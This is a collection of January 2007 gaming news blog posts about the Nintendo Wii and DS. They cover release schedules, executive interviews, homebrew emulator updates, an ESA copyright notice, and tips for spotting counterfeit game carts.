Speaking to GamePro, Fils-Aime said that the demand doesn't seem to be there at the moment to offer a HD Wii. But it's something that could happen in the future.
"I just saw a survey from the Centre for Media Research that showed only 17 percent of U.S. households have a TV set capable of high definition," he said. "Flip that number around, and that means that a full 83 percent of households do not have the means to produce the kinds of visuals that high definition devices require. Of course, we're intensely interested in better technology, but sometimes our definition of the right technology is different from other peoples'."
via cvg
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January 23rd, 2007, 21:03 Posted By: wraggster
Engadget has posted part 1 of their how to make a Wii Laptop, its only really for very hardcore modders, check it out here
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January 23rd, 2007, 21:12 Posted By: wraggster
via gamespot
Reggie Fils-Aime is quite a guy. Ever since his "kickin' ass and takin' names" opening gambit at E3 2004 we've had a special place in our hearts for the cheeky-faced Nintendo of America pres. But is the Regginator going soft?
In a Q&A on GamePro, Fils-Aime was asked the following not-so-subtly loaded question: "Sony appears to be having difficulties moving a large number of PS3s. What, if anything, do you think is to blame for this? A high price? A lack of must have games?"
Despite setting him up so sweetly for a massive damage dealing, ass kicking response opportunity, the big man from the big N simply replied: "Happily, that's a question you'll have to put to Sony."
So, no kickin' ass from the Fils with the skills for Sony this time - just some good ol' fashioned smugness. Go Reggie.
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January 23rd, 2007, 21:22 Posted By: wraggster
Same bloke who posted a Nes Cart Choccie the other week releases a controller choc now.
For those interested check out Ebay
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January 23rd, 2007, 21:29 Posted By: wraggster
via joystiq
Ed Boon, creator of the venerable Mortal Kombat series, talks with Gamespot about the upcoming Wii release of MK: Armageddon while pitching a promotional video of the same. Boon talks motion-controls, a new endurance mode where you see how many fighters you can take down without replenishing your health bar, and what it's like to develop games on Wii. Basically, he says for gamers (himself included) the Wii is a great console, and for developers, it's "very similar to doing games for the GameCube, with the addition of the Wii's controllers." He also notes that the Wii version won't support online play because online components "were not ready" when Midway would have needed them in the development cycle. Bummer. Armageddon hits Wii May 1.
Video Here--> http://youtube.com/watch?v=xucg0sqwmqc
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January 23rd, 2007, 21:37 Posted By: wraggster
via joystiq
Theme park chain Six Flags announced today that the Nintendo Wii is now the "Official Gaming Console of Six Flags," meaning that the Wii will be available for free play at "Wii Gaming Stations" at "select Six Flags-branded theme parks" (which of Six Flags' 26 parks will get the Wii is unclear). In exchange, Nintendo will promote Six Flags through an upcoming contest on nintendo.com.
The marketing deal seems to be, in part, an effort to lure in kids who would rather stay home and play video game than go to a theme park. "When this audience is not in our parks, more often than not they are at home playing video games -- and now they can do both in one place," Six Flags CEO Mark Shapiro said in the release. With the announcement, Nintendo joins companies like Cold Stone Creamery, Kodak and Home Depot in throwing thinly-veiled marketing messages at customers that paid good money just to ride some freaking roller coasters without being bombarded with ads and will you look at these lines I mean where do all these people come from seven dollars for a hamburger what am I made of money next year let's go to the beach. Sheesh!
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January 23rd, 2007, 21:42 Posted By: wraggster
via joystiq
Nintendo has honored 100 grandparents, from 54-year-old Rubin, a professional racquetball player from Staten Island, to 104-year-old Waldo, a beekeeper and author living in Kansas. Recipients of the prestigious honor, which included a DS Lite and copy of Brain Age, were selected by the Grandparent Marketing Group on the basis of "agelessness"; that is, each honoree represents someone who defies stereotypes associated with the elderly. "They refuse to act their age. They think young, and therefore they act young. Brain Age is one more tool in their anti-aging arsenal," explained Nintendo's George Harrison.
The 'Ageless American' honor is just Nintendo's latest promotional tactic, part of the Touch Generations campaign, which seeks to tap into the 55-and-up gamer demographic (reportedly accounting for 25% of the total gaming population). This past August, Nintendo hosted a Grandparent's Day competition in New York City -- sadly, despite weeks of practice, President Bush was not eligible to compete.
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January 23rd, 2007, 21:53 Posted By: wraggster
New Weekly Special offer from Play Asia:
Naruto: Shinobi Retsuden is a 3D fighting game for Nintendo DS™, based on the popular anime series. The game has been developed by the makers of the Naruto Gamecub™ series Naruto: Gekitou Ninja Taisen (Naruto Clash of Ninja outside of Japan).
Confirmed characters in this game include Naruto Uzumaki, Sasuke Uchiha, Sakura Haruno, Hatake Kakashi, Rock Lee and Neji Hyuga and more. Naruto: Shinobi Retsuden supports Wi-Fi battles.
TakaraTomy's Naruto: Shinobi Retsuden for Nintendo DS™ is now available at discounted US$ 29.90 only.
More Info --> http://www.play-asia.com/SOap-23-83-...9-en-84-n.html
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January 23rd, 2007, 23:22 Posted By: wraggster
via gamespot
With WarioWare: Smooth Moves standing as the sole retail Wii release since the middle of December, owners of the new system may foster worries of a post-launch drought of new games. However, those same owners may find comfort today, as Nintendo has released a slate of a dozen Wii games scheduled for release by the end of March.
While the Nintendo faithful will have to endure a few dry weeks (Wii Play with Wii Remote is the only release before March), a number of high-profile franchises are set to hit the system by the end of the quarter. Ubisoft is down for bringing the Teenage Mutant Ninja Turtles and Prince of Persia series to the Wii, while Sega is ready to offer gamers Sonic and the Secret Rings. Electronic Arts is also bringing some famous faces to the system in the form of Tiger Woods PGA Tour 07, SSX Blur, The Godather: Blackhand Edition, and Medal of Honor: Vanguard.
However, this list may not be comprehensive. Earlier today, Ubisoft released a list of its own expected first quarter releases as part of its financial earnings statement, and that list indicated Driver: Parallel Lines for the Wii would also make it to store shelves in the first quarter. A Nintendo representative had not returned request for comment as of press time, but an Ubisoft spokesperson reiterated that the game will be released before the end of March.
There's also the matter of Virtual Console games. Sega has already committed to bringing five more titles to the downloadable service in the first quarter, and Nintendo said it will bring Mario Kart 64 to the Virtual Console "next week." Nintendo has said that Monday would be the launch day for downloadable games on its digital distribution service, but in the past exceptions have been made.
Nintendo's full list of expected first quarter retail releases follows below:
February 14--Wii Play with Wii Remote--Nintendo
March 27--Disney's Meet the Robinsons--Buena Vista
March--Bust-A-Move Bash--Majesco
March--Prince of Persia Rival Swords--Ubisoft
March--TMNT (Teenage Mutant Ninja Turtles)--Ubisoft
March--Bionicle Heroes--Eidos
March--Blazing Angels Squadrons of WWII--Ubisoft
Q1--Tiger Woods PGA Tour 07--EA
Q1--SSX Blur--EA
Q1--The Godfather Blackhand Edition--EA
Q1--Medal of Honor Vanguard--EA
Q1--Sonic and the Secret Rings--Sega
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January 23rd, 2007, 23:23 Posted By: wraggster
via gamespot
Much like the Game Boy Advance, the DS has few games rated M for Mature. The most prominent of these is Resident Evil: Deadly Silence, the 2006 reworking of the original game in Capcom's groundbreaking horror-survival series.
The ESRB reveals a new DS game.
Now, though, it appears Deadly Silence will have some company. According to the latest listings on the Entertainment Software Ratings Board Web site, Ubisoft has recently received an M rating for its latest DS game. The title in question earned the imprint for "blood, mild language, [and] violence," which are in rare supply on Nintendo's kid-friendly handheld.
The Ubisoft game is also noteworthy since it has not yet been announced--and might mark the debut of the World War II shooter on the DS. Titled Brothers in Arms War Stories, the game appears to be the second handheld spin-off of Gearbox-developed Brothers in Arms series. Last December, Brothers in Arms D-Day arrived on the PSP to lackluster reviews.
But while the ESRB listing appears to indicate the imminent announcement of Brothers in Arms War Stories, nothing is official yet. Ubisoft declined to comment on the ESRB listing, and did not offer any details on the game.
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January 23rd, 2007, 23:30 Posted By: wraggster
via joystiq
Sculptor/illustrator Paul Thiel made the super-cute 6"-tall Mii sculpture seen above as a Christmas present for friend Allison McCarthy. It started as just a fun idea, but, as Thiel explained in an e-mail to Joystiq, "after showing it around we got to thinking about the possibility getting it out there and try to take small orders."
Thiel is hard at work on a web site to take orders for smaller, 3.5" versions of the personalized Sculpey and acrylic creations. Until then, people interested in having a Mii sculpture of their own can e-mail miisculpture@allisonqmccarthy.com to express their interest. Exact pricing is not set yet, but Thiel says he'd like to "make them as affordable as possible to everyone with a Mii."
More Info
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January 23rd, 2007, 23:35 Posted By: wraggster
via wiiexperiance
Another newsbit from our pal JoeyBuckets, this time he happens to be directly involved. After downloading what he swears was an old Zelda cartoon from BitTorrent, his ISP was contacted by the ESA with the following letter. In short, be careful what you download and stop downloading illegal games unless you want to lose your internet service and possibly deal with other legal issues. Now that the Virtual Console is out, Nintendo can and will take a hard stance against even older ROM’s if they wish. We highly suggest just getting the Wii system and playing your favorite games legitimately and supporting those that put in the work to bring them to us. We at The Wii Experience do not condone downloading illegal software and the following letter is an example of what your ISP may receive if you do such activities.
Here’s the letter in full:
Attention: Intellectual Property Enforcement
Telephone: ###-###-####
E-mail: esa@copyright-compliance.com
19 Jan 2007 02:32:59 GMT
ISP: PenTeleData
ESA Reference Number: ###-#######
Dear PenTeleData:
The Entertainment Software Association (ESA) is a U.S. trade
association that represents the intellectual property interests of
numerous companies that publish interactive games for video game
consoles, personal computers, handheld devices and the Internet in the
United States and in other countries (collectively referred to as ESA
members). ESA is authorized to act on behalf of ESA members whose
copyright and other intellectual property rights it believes to be
infringed as described herein.
ESA is providing this letter of notification to make PenTeleData aware
of material on its network or system that infringes the exclusive
copyright rights of and is unlawful towards one or more ESA members.
Through the Berne Convention and other international treaties covering
intellectual property rights, ESA believes that its members’ rights in
such entertainment software products are entitled to the full
protection of the intellectual property law as well as other relevant
laws of your country.
Based on the information at its disposal, ESA has a good faith belief
that the IP address below infringes the rights of one or more ESA
members by offering for sale or download unauthorized copies of game
products protected by copyright, or offering for sale or download
material that is the subject of infringing activities. The copyrighted
works that have been infringed include but are not limited to:
Title: Zelda
Infringement Source: BitTorrent
Infringement Timestamp: 19 Jan 2007 02:52:24 GMT
Infringement Last Documented: 19 Jan 2007 02:52:24 GMT Infringer Username:
Infringing Filename: The Legend of Zelda
Infringing Filesize: 2351679488
Infringer IP Address: ###.###.###.###
Infringer DNS Name: #######################
Infringing URL: ############################
The unauthorized copies of such game product(s) or the material that
is the subject of infringing activities appears on or is made
available through the above-listed IP address. Those items are listed
and/or identified thereon by their titles or variations thereof,
game-related listings/references/descriptions, or depictions of
game-related artwork. Such copies, titles, game-related
listings/references/descriptions, depictions, and material that is the
subject of infringing activities, are hereinafter referred to as
“Infringing Material.”
Accordingly, ESA hereby requests PenTeleData to immediately do the following:
1. Notify the account holder of the Infringing Material.
2. Remove, or disable access to, the Infringing Material detailed above.
3. Take appropriate action against the account holder under your Abuse
Policy/Terms
of Service Agreement, including termination of a repeat offender.
Please inform us whether you will remove or disable access to the
Infringing Material as requested. PenTeleData or the account holder
may contact ESA at the above-listed contact details, with email
preferred. Please include the above-noted Reference Number in the
subject line of all email correspondence.
Thank you for your cooperation and prompt response in this matter.
Sincerely,
Intellectual Property Enforcement
Entertainment Software Association
Our buddy Joey Buckets promises he wasn’t downloading the game, but seeing none of this was worth the movie he did download, he fully deleted the file and uninstalled all of his file sharing software. It’s truly just not worth it.
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January 23rd, 2007, 23:45 Posted By: wraggster
via pocketgamer
One of the joys of looking after the DS section of a European-centric website is you spend a lot of time studying the Japanese and US release dates of games you know won't surface over here for months.
Hence the need to trawl the various game import sites, to ensure we keep up-to-date with the latest reviews. But what with the downfall of Hong Kong-based games importer, Lik Sang, we've increasingly had to rely on the Wild West environment that is eBay.
And we were unpleasantly surprised when one of our most recent purchases, Mario Hoops 3-on-3 (due to be released in Europe as Mario Slam Basketball on 16 February), turned out to be a fake.
Perhaps the best clue was the price – the 'Buy-it now' price was £4.99, with P&P at £12 – which was significantly lower you'd expect for an import DS game. However, the seller, heyh_sz, seemed like a good bet. A member since 7th December 2004, his feedback score was 990, of which only 16 were negative.
The game arrived promptly, too. And when trying it out, it worked fine. Only some close attention to the goods revealed its counterfeit nature.
From the front, the pirated game cart itself (right) looks quite similar to a real import game (in this case Pokémon Ranger, left). One subtle difference is the cutoff on the bottom left hand corner of the sticker on the fake is slightly more rounded then it should be.
The differences become more obvious when you turn the cart over.
The first thing to notice is that while the fake says 'NTR-005 PAT(ent) PEND(ing),' it doesn't have an individually printed number beneath. The back of the cart is smooth, not indented like the real game, too. And finally, although impossible to see on this resolution of image, the bottom of the PCB board on the fake says 'Nintendo 001-01' instead of a more complex manufacturer code (in the case of Pokémon Ranger, it's I N-5 003-10).
The game box of the fake was also made of lower quality plastic – it felt cheap – and didn't have an official Nintendo logo embedded next to the game cart holder.
Finally, the quality of the printing of the cover and instruction manual was much lower than an official game. In fact, in the case of this fake, the instruction manual was actually just a game review from a US website. Being real gamers of course, we only bothered looked at the manual last, even though this was the biggest give-away.
Heading back to eBay to make our case for getting heyh_sz kicked off, we found he'd already been removed. Indeed, checking through his feedback listings, it was clear he had already been pointed out as an alleged seller of fake/pirated games by a couple of other buyers.
So the moral of this story is if it's too good to be true, it probably is. Of course, sometimes you do get bargains on eBay and other import game sites, but it's always worth doing a bit of digging around, especially on eBay feedback, if you're suspicious.
Screens Via Comments
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January 23rd, 2007, 23:49 Posted By: wraggster
Heres the info:
The Nintendo Wii can play movies taken with most digital cameras without additional software. But if you have existing movies that were compressed in a format that the Wii does not understand, you can use Wii Transfer to convert those movies to play in the Wii's Photo Channel.
• Show album cover artwork in the music sharing interface — new in version 2.1.
• Share MP3 music and pictures to your Wii over local network.
• Convert movies for playing in Wii's Photo Channel.
• Copy movies to SD card automatically if connected.
• Browse and convert iTunes video podcasts from within Wii Transfer.
• AppleScript support for automated conversions.
• Backup saved game files to your Mac automatically.
More Info -> http://www.riverfold.com/software/wiitransfer/
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January 23rd, 2007, 23:51 Posted By: wraggster
Use Glovepie to play Final Fantasy XI on your PC with a Wiimote Controller:
Tested ! The version 1.2A and the version 1.2B of script to play FF XI ! The script use the wiimote and the nunchuk.
Download version 1.2A: Here
Download version 1.2B Best Choice : Here
Download Instructions for the v1.2A and v1.2B: Here
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January 23rd, 2007, 23:53 Posted By: wraggster
via wiifanboy
"Maybe we should have researched this."
Get used to hearing that line, because it's probably going to be one of the most-quoted statements from the radio contest in Sacramento that seems to have resulted in the death of at least one woman. Footage from the show has turned up on YouTube and seems noteworthy as this story develops further. It is, however, striking in that it is likely to be the center of a lot of arguments regarding who here, if anyone, is at fault.
More Info -->
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January 23rd, 2007, 23:56 Posted By: wraggster
via wiifanboy
What do you do when you need that true-to-life steering wheel experience, however you don't have the money to buy Ubisoft's attachment (or think that it's ridiculously priced)? Make your own, of course! While we would've initially pictured more candidates sporting the ultimate do-it-yourself repair aid (hint: duct tape) then the other, more ridiculous solutions that the forum-goers came up with, we laugh all the same.
Anyone up for making a Homemade Star Wars Light Sabre accessorie ?
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January 23rd, 2007, 23:58 Posted By: wraggster
via wiifanboy
That's right. Super Paper Mario, a positively charming title once scheduled for the Gamecube, has been confirmed by the latest issue of Nintendo Power for an April release. The game, which will use the controller retro-style (read: on its side) to emulate that classic Mario feel, will use the A button to flip-flop between the 2-D and 3-D perspectives. Truly, we haven't seen a game of this particular dimensional scope since Yoshi's Story! For a bit more information on the title, check here.
Also, Mario Party 8, the first Wii entry in the seminal series, will be dropping on March 5th, according to Nintendo's official site. Along with Sonic and the Secret Rings, March and April are actually turning out to be some decent months for the little white box. With Wario Ware: Smooth Moves this past month and Wii Play on February 12th, we're set for awhile. You?
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January 24th, 2007, 00:03 Posted By: wraggster
Taito’s Densha de Go (Let’s Go by Train) is a train simulator that was introduced in Japan over ten years ago. The games have mainly come out for Sony consoles except for a Dreamcast and Nintendo 64 release. Now the series is returning to Nintendo with Densha de Go! Shinkansen EX: Sanyou Shinkansen Hen. Like all of the other Densha de Go games there is a special controller that mimics the set up a train controller would use. You can pick up Densha de Go with the special Wii controller in a package for 10,479 yen ($86). Or you can buy the controller alone for 6,090 yen ($50). It’s a pricey accessory, but you don’t have to have it to play Densha de Go on the Wii. There is a new control set up where players shake the Wii remote to make the train accelerate. Since the control scheme has been simplified, Densha de Go! Shinkansen EX: Sanyou Shinkansen Hen could be a good game for first time conductors.
Screen Via Comments
via siliconera
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January 24th, 2007, 00:33 Posted By: wraggster
A New update from Lazyone:
I am in the process of re-porting Mini vMac to the Nintendo DS mainly for cleaner source code and to fix a few bugs.
The next release will have some new features:
+ Better looking and more helpful error messages
+ Load disks at any point during runtime
+ Option to keep the support files in a “vMac” directory
+ Better looking and more usable user interface
+ Slight speedup
If there are any other ideas, please feel free to mention them.
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January 24th, 2007, 00:38 Posted By: wraggster
WFCStatus by Kevin is a status viewer for Nintendo's WiFi connection. It basically reads all the data from Nintendo's website without loading tons of animations and images in a browser.
Features
Global Wi-Fi Gaming Service Status
Online status for 11 gamehubs
Gamehub Player Stats (Top 5 Most Active & Player Logins)
Overall Gaming Stats (Top 5 Most Active & Player Logins)
Detailed Day vs. Night Activity graphs for all games
Now Online! Showing 20 random online gamers
Get notified when your nick shows up in Now Online! (11 games)
View stats for more than 50 wi-fi enabled DS and Wii games
View stats and online players for homebrew wi-fi games (OMalone 2 )
View the Last 20 Tetris DS Scores
Animal Crossing Wild World Events Calender
Easy DS and Wii Errorcode Submit
Runs in system tray
Heres whats new:
Added 3 DS games (Digimon Story Moonlight / Sunburst (J) and Wi-Fi Taiou Morita Shogi DS (J)), also a few bugs are fixed and some options are added in the tray menu.
Download and Give feedback Via Comments
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January 24th, 2007, 00:38 Posted By: wraggster
WFCStatus by Kevin is a status viewer for Nintendo's WiFi connection. It basically reads all the data from Nintendo's website without loading tons of animations and images in a browser.
Features
Global Wi-Fi Gaming Service Status
Online status for 11 gamehubs
Gamehub Player Stats (Top 5 Most Active & Player Logins)
Overall Gaming Stats (Top 5 Most Active & Player Logins)
Detailed Day vs. Night Activity graphs for all games
Now Online! Showing 20 random online gamers
Get notified when your nick shows up in Now Online! (11 games)
View stats for more than 50 wi-fi enabled DS and Wii games
View stats and online players for homebrew wi-fi games (OMalone 2 )
View the Last 20 Tetris DS Scores
Animal Crossing Wild World Events Calender
Easy DS and Wii Errorcode Submit
Runs in system tray
Heres whats new:
Added 3 DS games (Digimon Story Moonlight / Sunburst (J) and Wi-Fi Taiou Morita Shogi DS (J)), also a few bugs are fixed and some options are added in the tray menu.
Download and Give feedback Via Comments
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January 24th, 2007, 00:42 Posted By: wraggster
via dsfanboy
In a recent Q&A with GamePro, Reggie Fils-Aime pointed to the DS, and not the GameCube, as the real inspiration as most of Nintendo's strategy with the Wii. That doesn't mean that multicolored units are around the corner (unfortunately), but it does mean that we can expect a lot of aggressive marketing to people that aren't usually considered gamers. Considering the incredible sales numbers, that's certainly worked well for the DS! As the core group responsible for the DS and its success, it's like that others will, in the future, try to mimic that. So, DS gamers -- do you think that what's working for Nintendo may work for others in the future?
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January 24th, 2007, 00:45 Posted By: wraggster
via dsfanboy
While we've seen some gameplay screens before from FFXII: Revenant Wings, some of these are at least bigger, if not better. High quality shots seem to be hard to come by, but Japanese print magazines have been the biggest resource thus far on this game. Once you accept a little graininess, however, these look pretty great.
Screenshots Via Comments
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January 24th, 2007, 00:49 Posted By: wraggster
News from JimmyL
No new features, just a near-complete reskinning of the game by Chris Hildenbrand. I'd been sitting on these new graphics for far too long, so I've finally taken the time this weekend to put most of them into the game. As always, if anyone wants me to add in any of their favorite game sets, just leave a message in the forums.
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January 24th, 2007, 00:52 Posted By: wraggster
News of the work on the Spectrum emulator for the DS by CraigT
It’s been a busy week.
In my last post I explained how I had changed the display routines to speed up SpeccyDS and allow me to do some more interesting stuff with the screen. Over the last week I’ve used this to hook up proper border emulation:
The first screenshot is the result of a BASIC Save command and demonstrates the border quite well. The second shot demonstrates the scaling problems that are associated with displaying the borders on such a small screen.
Luckily, the DS hardware makes screen scaling very simple. Therefore, I will probably add three border settings - None (default), Thin and Full. The thin border should keep the distortion down to a minimum.
A few other things have changed, including:
- The Z80 loader has been fixed. All 48k-based .Z80 files should now be accepted without causing the Spectrum to reset
- Simulated the resistor connection between the EAR and MIC ports on the spectrum. Sound is now produced when using the BASIC save command etc
- Fixed the flags on the DAA instruction to fix Head Over Heals. However, the sound still cuts out in some rooms
- Fixed the crash in Starquake (yay!). It was caused by a silly bug in the HALT instruction
Next up is DLDI support…
I’ve also added a Donate tab at the top of the blog. Developing SpeccyDS takes up a large amount of my free time. If you are feeling generous, please show your appreciation by donating a few pounds towards the project. Any amount is gratefully received! Thank you
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January 24th, 2007, 01:09 Posted By: wraggster
via ign
Today Warner Bros. announced that it will be publishing Looney Tunes: Acme Arsenal in fall 2007 for the Xbox 360 and Nintendo Wii.
Developed by Redtribe, Looney Tunes: Acme Arsenal is an action-adventure game featuring a slew of playable Looney Tunes characters, including Bugs Bunny, Daffy Duck, Tazmanian Devil, Foghorn Leghorn, Marvin the Martian, Gossamer and a special secret character.
"LOONEY TUNES: ACME ARSENAL is updating the classic characters in engaging ways that will appeal to new generations of fans as well as the loyal fans of these enormously popular cartoons," said Jason Hall of Warner Bros. "The game captures the great irreverence of the Looney Tunes' humor and allows players to take the characters where they have never gone before with next-generation gameplay and graphics."
The game features one or two player co-operative gameplay as gamers find themselves immersed in fast-paced combat, puzzle solving challenges, and vehicle-based action. Players will command an arsenal of various ACME melee and projectile weapons, and travel to outlandish locales inspired by classic Looney Tunes cartoons.
The Xbox 360 version will feature support for two-player cooperative gameplay over Xbox Live. On the Wii version, players will be able to take full advantage of gesture-based controls in different action sequences.
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January 24th, 2007, 01:11 Posted By: wraggster
via ign
Nintendo of America revealed on Tuesday that it would make Mario Kart 64 available to the Wii Shopping Channel next week. The acclaimed racer marks the second N64 title released for the Virtual Console.
Mario Kart 64 pits players in control of classic racers and challenges them to navigate a series of twisting, turning environments while using special power-ups. The title's single-player mode was fun, but the game will always be remembered for its addictive multiplayer offering -- IGN's own editors spent too many hours to count battling in some of its many arenas.
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January 24th, 2007, 16:27 Posted By: wraggster
The Tom Clancy franchise and new Wii title Red Steel has helped Ubisoft exceed expectations for the third quarter, with sales rising 24 per cent to EUR 311 million.
Total sales for the nine months to December 31 were up 22 per cent to EUR 483 million.
The publisher singled out the performance of Tom Clancy's Splinter Cell Double Agent, Tom Clancy's Rainbow Six Vegas and new Wii IP Red Steel, resulting in sales of EUR 16 million in Q3.
Next-gen titles accounted for 63 per cent of sales in the third quarter, up from 18 per cent in the previous year.
"We saw excellent sales for Tom Clancy's Rainbow Six Vegas - which ranked as the third best-seller in December for the Xbox 360 system in the United States - as well as sustained success for Red Steel and Rayman, which have ranked number two and three in sales for the Wii in the US and Europe since the console launched," said Yves Guillemot, CEO of Ubisoft.
The decision to support the Wii with a large portfolio of titles in its first months of release has resulted in 21 per cent of sales for the third quarter, making Ubisoft the number one third-party Wii publisher in North America and Europe.
Ubisoft now has a market share of 29.2 per cent in Europe and 18 per cent in the US on Wii software.
Xbox 360 titles accounted for 28 per cent of sales, making the publisher the number two third-party publisher on the format in the US and Europe. The publisher has a market share in Europe and the US of 14.6 per cent and 13.4 per cent, respectively, for Xbox 360 titles.
Nintendo DS titles accounted for 9 per cent of sales in Q3, up from 5 per cent over the previous year.
Ubisoft is now expecting quarter four sales to reach EUR 152 million, up from last year's EUR 144 million.
"2007 will be the year of the next-generation consoles, with the ramp-up of the PS3 and Xbox 360 systems," said Guillemot.
"We will also see new consumers - particularly women - entering the market, drawn by the remarkable success of the Wii and the Nintendo DS. In 2007-08, Ubisoft will apply all of its expertise in order to leverage this full scope of opportunities, and thereby step up growth and considerably improve profitability."
Ubisoft's first-person shooter Haze, developed by Free Radical Design, will now be released in the fourth quarter, along with three new Wii titles.
via gamesindustry
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January 24th, 2007, 16:30 Posted By: wraggster
Nintendo has revealed the next wave of titles for the Nintendo Wii, as well as the launch date of the News Channel.
Previously unavailable in North America, the first-party developed title Wii Play is due for release in the region next month, complete with a bundled Wii remote controller.
March sees the release of three titles from Ubisoft, recently revealed to be the number one third-party Wii publisher in Europe and the US. Prince of Persia: Rival Swords, Teenage Mutant Ninja Turtles and Blazing Angels: Squadrons of WWII are all due from the French publisher.
Electronic Arts has four titles due in the first quarter. Tiger Woods PGA Tour 07, SSX Blur, The Godfather: Blackhand Edition and Medal of Honor: Vanguard are all Wii-specific versions of popular EA franchises.
Other titles due include BVG's Disney's Meet the Robinsons, Majesco's Bust-A-Move Bash, Eidos' Bionicle Heroes and Sega's Sonic and the Secret Rings Saga.
"Our tremendous worldwide launch shows people, from experienced players to non-players, are hungry for the kinds of entertainment only Wii provides," said Nintendo of America president Reggie Fils-Aime.
"Wii hardware production continues full bore, and every week we're delivering more incredible content to further expand the experience."
The company also revealed that the Wii News Channel will go live on January 27, with content provided by the Associated Press.
via gibiz
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January 24th, 2007, 16:33 Posted By: wraggster
via gamesindustry
Big publishers have been wary of creating new titles for the Nintendo Wii due to the perception that first-party titles are better supported than third-party games, says Brian Dreyer, business development manager for Frontline Studios.
The trepidation of companies to support the console and its motion sensitive controller has left a gap in the market that independent studios have been wise to exploit, claims Dreyer
"Nintendo hardware is traditionally seen as great for first-party titles, but not so much for third-party games," said Dreyer, speaking exclusively to GamesIndustry.biz
"That fact really scares a lot of publishers and frankly we've seen a lot of publishers take that wait-and-see attitude with the Wii," commented Dreyer. "Rightly or wrongly, publishers are more frustrated with that than independent developers are."
While publishers such as Ubisoft and Sega have supported the Wii since launch, others, such as Capcom, are yet to get boxed product to market.
Frontline is currently working with Digital Amigos and Nibris on the Wii project Sadness. For the developer, the attraction of working on Nintendo hardware is the innovative elements of the console that provide a different approach to game development.
"It's the marketing warfare," said Dreyer. "Nintendo is the challenger, it's the underdog and it has to be coming to market with something that is completely different."
"Gamers are yawning at these supposedly great-looking games on other systems. With the Wii, we're back to the fundamentals, the nuts and bolts of any videogames experience, which simply means it has to be fun,"
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January 24th, 2007, 16:36 Posted By: wraggster
via cvg
Nintendo has said nothing regarding the release of Wii Ethernet kits since CVG confirmed their existence way back in October. But after months of silence, the kits are finally on their way and could be in stores within weeks.
Reports of a Taiwan-based company, Axis Electronics, having already started to ship the adaptors leads us to believe that, despite Nintendo's silence, they will be available for sale very soon.
CVG revealed that the planned USB-to-Ethernet kit would allow those who lack a wireless internet router to connect the Wii to the web using the console's USB ports instead.
It is not known whether Axis Electronics is making the official Nintendo adaptors or a third-party version, but we've put the call in to Nintendo to get confirmation and a release date. Updates will land here when we get them.
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January 24th, 2007, 16:45 Posted By: wraggster
via cvg
The GameCube version of Super Paper Mario will never see the light of day, as Nintendo officially confirms to CVG that Mario's retro-style platformer is Wii exclusive.
The platform shift has been public knowledge for a while, but with an official announcement yet to made by Nintendo, many pondered the possibility it might make it to both platforms, like Twilight Princess. Alas, that is not the case.
On the plus side, Super Paper Mario on Wii could be in stores as soon as April according to US official Nintendo magazine, Nintendo Power.
New control details were also revealed, uncovering that the Wii Remote is held sideways to play the old-school platformer, with jump on the 2 button. The A button switches the perspective of the gameplay from a side-on 2D view to 3D, and you can earn extra points by shaking the Remote when jumping on enemies.
If SPM is to hit stores in April, we should be getting our hands on a preview version soon, so keep an eye out.
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January 24th, 2007, 16:51 Posted By: wraggster
via engadget
If your built-in WiFi antenna is less than phenomenal, or you're just looking to jack some WiFi from another country to avoid severe punishment, Buffalo's AirStation WLI-U2-SG54HP might be the answer. This USB 2.0 stick adapter operates like any vanilla 802.11b/g wireless LAN adornment, but ups the ante by suctioning to the rear of your display and reportedly boosting your reception capability by 210-percent. Granted, we're not sure where the firm is deriving this lofty figure, but it's probably safe to assume that strapping a relatively large antenna on the back of your lappie will persuade a few more far away signals to come your way than your factory-installed alternative. So if you're looking for a way to extend that range (legally), or just enjoy having a tethered weapon at your disposal at all times, Buffalo's WLI-U2-SG54HP can be snapped up next month for ¥3,700 ($31)
More info
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January 24th, 2007, 19:20 Posted By: wraggster
via gibiz
Electronic Arts is to repackage five of the most popular titles from casual gaming site Pogo.com for release on the Nintendo DS.
Word Whomp, Poppit, Phlinx, Tri-Peaks Solitaire and Squelchies will feature in the package, due for release this March.
"Million of people have been captivated by these simple, yet addictive casual games," said Kevin Chorney, producer for Pogo Island.
"We're so excited to finally bring the online experience to players on the go," he added.
EA bought Pogo.com in 2001, and the site currently enjoys an average of 2.6 million users per day.
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January 24th, 2007, 19:34 Posted By: wraggster
via kotaku
Don't let Mario's overalls fool you, Nintendo likes money just as the next console maker. No surprises there — Memories do come flooding back to when Nintendo announced Wii pricing and many flipped out at parting with US $250 as opposed to the rumored $199. Newsweek's got a piece up on the Wii about demand for the machine, the radio contest fiasco and a few blurbs from Nintendo's Perrin Kaplan. Regarding the contest, Kaplan offered her condolences and stressed that Nintendo had nothing to do with it. Regarding the shortages, she said:
We produce a healthy number, with more shipments coming weekly. We're not sure what more we could have done to meet such overwhelming demand... We try to minimize that [airlifting in consoles as Sony did with the PS3], as air is costly. We're a profit-oriented company.
Yup, that you are. And turning a pretty penny from what we hear!
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January 24th, 2007, 20:04 Posted By: wraggster
via kotaku
Not "new" as in new, just improvements on the existing one. So says German news site Gamefront, citing Japanese source Game Lab (edited for babelfish clarity):
The revised remote maintenance is to...possess a better pavement grip and [is] rechargeable
So a better grip and a rechargeable battery? That'd be swell, Nintendo, since Twilight Princess eats batteries like they were yummy cakes. Still, this is fairly tenuous, so take your grain of salt and keep those fingers crossed.
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January 24th, 2007, 20:11 Posted By: wraggster
via joystiq
Ubisoft, intent on continuing their new tradition of shoehorning just about every intellectual property they can muster onto the Wii, has created a video demonstrating Prince of Persia: Rival Swords' use of the Wii controls.
In an interview with Ubisoft concerning the project ("intuitive" word count: 2), producer Ben Mattes gushed with excitement, saying "I've spent a lot of time playing [Prince of Persia] games over the last few years, and Rival Swords for the Wii is by far my favorite."
The demonstration itself is a montage of in-game clips, accompanied by haunted Wii controllers jiggling about the footage. I suppose we'll just have to wait until the games release in March to get a sense of just how well it plays as waggling the controller in place of the Two Thrones control scheme (the game in which this is based on) doesn't exactly instill us with confidence. Ben seems fairly stoked about it, but Splinter Cell and Far Cry has us a bit more cautious towards Ubisoft's non-original offerings for the Wii.
Video Here
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January 24th, 2007, 20:26 Posted By: wraggster
New from SuccessHK
Taiga, the boy action-star of Fossil League D.T.C. has had his most personal treasure stolen from him! Named Big Mother, this fossil was given to him by his father shortly before his death merely years ago. Fossil League D.T.C. is Taiga s epic journey into Jurassic times to recover his fossil from the X marauders who took it from him. As Taiga journeys through the different eras, he ll rumble and tame the unique dinosaurs each with special powers. Strategically use each dinosaur and special items to battle the X Crew or to win over dinosaurs to your team!
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January 24th, 2007, 20:42 Posted By: wraggster
